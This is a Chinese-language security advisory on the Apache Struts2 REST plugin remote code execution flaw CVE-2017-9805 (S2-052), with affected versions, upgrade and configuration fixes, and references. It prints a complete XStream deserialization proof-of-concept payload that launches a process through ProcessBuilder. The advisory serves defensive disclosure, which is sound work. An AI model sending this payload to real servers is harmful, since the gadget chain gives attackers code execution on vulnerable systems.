【漏洞预警】Apache Struts2 再爆远程代码执行漏洞

  1、 漏洞概述:
  2017年9月5日,Apache Struts发布漏洞编号为CVE-2017-9805(S2-052)的安全漏洞,漏洞危害程度为严重(Critical)。当用户使用带有XStream handler的Struts REST插件来处理XML请求时,可能会遭到远程代码执行攻击。
  2、漏洞影响范围:
  Struts 2.5 -Struts 2.5.12
  3、漏洞POC:
  目前互联网已有公开的POC(未经验证),建议用户尽快升级至最新版本,或者采取临时解决方案处理。
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>notepad</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
  4、解决方案:
  1)尽快升级到2.5.13 or 2.3.34版本。
  2)如果没有使用则删除Struts REST插件,或者在配置文件中加入如下代码,限制服务端扩展类型:
  <constant name=”struts.action.extension” value=”xhtml,,json” />
  5、参考:
  https://cwiki.apache.org/confluence/display/WW/S2-052
  https://lgtm.com/blog/apache_struts_CVE-2017-9805 
  本安全公告仅用来描述可能存在的安全问题,盛邦安全不为此安全公告提供任何保证或承诺。
  由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,盛邦安全以及安全公告作者不为此承担任何责任。
  盛邦安全拥有对此安全公告的修改和解释权。
  如欲转载或传播此安全公告,必须保证此安全公告的完整性,包括版权声明等全部内容。未经盛邦安全允许,不得任意修改或者增减此安全公告内容,不得以任何方式将其用于商业目的。